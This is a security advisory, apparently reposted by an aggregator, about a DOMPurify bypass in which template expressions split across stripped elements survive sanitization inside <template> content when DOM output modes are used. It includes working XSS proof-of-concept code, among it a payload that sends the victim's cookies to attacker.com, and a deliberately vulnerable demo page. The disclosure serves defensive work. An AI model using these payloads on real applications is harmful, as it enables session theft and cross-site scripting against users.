DOMPurify: SAFE_FOR_TEMPLATES bypass - template expressions survive sanitization inside <template> content when using DOM output modes
- When
- Where
- Global (internet)
- Category
- cyber_advisory · npm
## Summary When DOMPurify is configured with both `SAFE_FOR_TEMPLATES: true` and `RETURN_DOM: true` (or `IN_PLACE: true`), an attacker can inject template expressions, such as `${evil}`, `{{evil}}`, or `<%evil%>`, that survive the sanitization pass inside `<template>` element content. This bypasses the explicit purpose of `SAFE_FOR_TEMPLATES`, which is to prevent template engine evaluation of user-supplied content. > **Note:** The string output path is **not** affected. Only the DOM return paths (`RETURN_DOM: true`, `RETURN_DOM_FRAGMENT: true`, `IN_PLACE: true`) are vulnerable. --- ## Description ### Background `SAFE_FOR_TEMPLATES` is designed to strip `{{ }}`, `${ }`, and `<% %>` expressions from sanitized output so that downstream template engines do not evaluate user-controlled content. The feature operates through two mechanisms: 1. **Per-node scrubbing** (`_sanitizeElements`, `src/purify.ts:1403`), scrubs individual text nodes during the main sanitization walk. 2. **Final normalization pass** (`_scrubTemplateExpressions`, `src/purify.ts:1115`), calls `node.normalize()` to merge adjacent text nodes, then walks the merged nodes and strips any expressions that only appeared after merging. ### The Gap `_scrubTemplateExpressions` uses a standard `NodeIterator` rooted at the output body: ```ts // src/purify.ts:1117 const walker = createNodeIterator.call( node.ownerDocument || node, node, NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT | ..., null ); ``` Per the DOM specification, a `NodeIterator` does **not** descend into `<template>.content`. The template element's content is a separate `DocumentFragment` that lives outside the normal child-node tree. For the same reason, `node.normalize()` (called on line 1116) also **does not** normalize text nodes inside `<template>.content`. This means the final normalization and scrub pass, the only pass that catches expressions formed *by merging split text nodes*, never runs on `<template>` content. ### How Split Text Nodes Are Created When DOMPurify removes a disallowed element with `KEEP_CONTENT: true` (the default), it moves the element's text children into the parent node. This is the standard code path at `src/purify.ts:1361–1373`: ```ts if (KEEP_CONTENT && !FORBID_CONTENTS[tagName]) { const parentNode = getParentNode(currentNode); const childNodes = getChildNodes(currentNode); if (childNodes && parentNode) { for (let i = childCount - 1; i >= 0; --i) { const childClone = cloneNode(childNodes[i], true); parentNode.insertBefore(childClone, getNextSibling(currentNode)); } } } ``` If the removed elements were adjacent siblings inside `<template>` content, their extracted text nodes end up as **adjacent text nodes** in the template content fragment. Each individual text node is scrubbed by `_sanitizeElements`, but since `$` and `{evil}` do not match any expression regex on their own, neither is modified. The code comment at `src/purify.ts:1100` explicitly acknowledges the threat class: > *"which only form after text-node normalization (e.g. fragments split across stripped elements) cannot survive into a template-evaluating framework."* The implementation guards against this on the main body, but the guard is **not** applied to `<template>` content. --- ## Proof of Concept ### Why the Split Works The bypass relies on splitting `${...}` across two adjacent custom elements so that neither fragment matches any DOMPurify regex on its own: | Fragment | Against `TMPLIT_EXPR` `/\${[\w\W]*/g` | Against `MUSTACHE_EXPR` `/{{[\w\W]*\|^[\w\W]*}}/g` | Result | |---|---|---|---| | `$` | Requires `${` - no `{` follows | No `{{` or `}}` | **Survives** | | `{alert(document.domain)}` | Requires leading `$` - absent | No `{{`, ends with single `}` not `}}` | **Survives** | | `${alert(document.domain)}` | Full match - would be stripped | - | Stripped if seen whole | DOMPurify only sees each fragment in isolation. It never merges them before checking, so the expression is never detected. --- ### PoC 1 - XSS via `alert()` (baseline confirmation) ```javascript // Attacker input - splits "${alert(document.domain)}" across two custom elements. // Custom elements are not in DOMPurify's default ALLOWED_TAGS and are removed, // but their text content is kept (KEEP_CONTENT: true is the default). const dirty = '<template>' + '<x-split-1>$</x-split-1>' + '<x-split-2>{alert(document.domain)}</x-split-2>' + '</template>'; // Developer sanitizes with SAFE_FOR_TEMPLATES, trusting it strips ${...} const sanitized = DOMPurify.sanitize(dirty, { RETURN_DOM: true, SAFE_FOR_TEMPLATES: true, }); // Inspect what survived inside the <template> const tmpl = sanitized.querySelector('template'); console.log([...tmpl.content.childNodes].map(n => n.nodeValue)); // ["$", "{alert(document.domain)}"] <-- two separate text nodes, both "clean" // Frameworks (lit-html, Angular, custom renderers) routinely call normalize() // before reading template content. This merges the adjacent nodes: tmpl.content.normalize(); console.log(tmpl.content.textContent); // "${alert(document.domain)}" <-- fully formed expression, past the sanitizer // Any template-literal evaluator now fires XSS: const expr = tmpl.content.textContent; new Function(`return \`${expr}\``)(); // !! alert(document.domain) executes !! ``` --- ### PoC 2 - Session Hijacking via cookie exfiltration ```javascript // Splits "${document.location='//attacker.com/?c='+document.cookie}" // "{document.location=...}" ends with a single "}" — does NOT match // MUSTACHE_EXPR's "^[\w\W]*}}" (requires double "}}"), so it survives. const dirty = '<template>' + '<x-a>$</x-a>' + '<x-b>{document.location="//attacker.com/?c="+document.cookie}</x-b>' + '</template>'; const sanitized = DOMPurify.sanitize(dirty, { RETURN_DOM: true, SAFE_FOR_TEMPLATES: true, }); const tmpl = sanitized.querySelector('template'); tmpl.content.normalize(); console.log(tmpl.content.textContent); // "${document.location="//attacker.com/?c="+document.cookie}" // Template engine evaluates it - victim's browser makes the request: new Function(`return \`${tmpl.content.textContent}\``)(); // !! Redirects victim to attacker.com with their full cookie string !! // e.g. https://attacker.com/?c=session=abc123;auth_token=xyz789 ``` --- ### PoC 3 - End-to-end: realistic application context This shows the full path in an application that uses DOMPurify to sanitize user-submitted rich text before rendering it with a custom template engine: ```html <!-- index.html - the vulnerable application --> <div id="output"></div> <script type="module"> import DOMPurify from './dist/purify.es.mjs'; // Simulates fetching and rendering user-submitted comment async function renderComment(userHtml) { // Developer correctly uses SAFE_FOR_TEMPLATES to protect the template engine const dom = DOMPurify.sanitize(userHtml, { RETURN_DOM: true, SAFE_FOR_TEMPLATES: true, }); // Application iterates <template> elements and evaluates their content // (common pattern in component-based frameworks) dom.querySelectorAll('template').forEach(tmpl => { tmpl.content.normalize(); // standard DOM housekeeping const content = tmpl.content.textContent; // Application uses template literals to interpolate user content into UI const rendered = new Function('user', `return \`${content}\``)({ name: 'World' }); document.getElementById('output').innerHTML += rendered; }); } // Attacker-supplied comment content const attackerComment = '<template>' + '<x-a>$</x-a>' + '<x-b>{alert("XSS: " + document.cookie)}</x-b>' + '</template>'; // Developer believes SAFE_FOR_TEMPLATES makes this safe — it does not for RETURN_DOM renderComment(attackerComment); // !! XSS fires, alert pops with session cookies !! </script> ``` **Observed output:** `alert("XSS: " + document.cookie)` executes in the vic
Sources
- GitHub Advisory Database ↗ · first seen 2026-06-15 20:02 UTC
Defaxon links out to the original reporting and never republishes article text.
Correlated events
Computed by the Defaxon correlation engine — linked by shared actors, co-location, and temporal proximity. Scored hypotheses, never causal claims.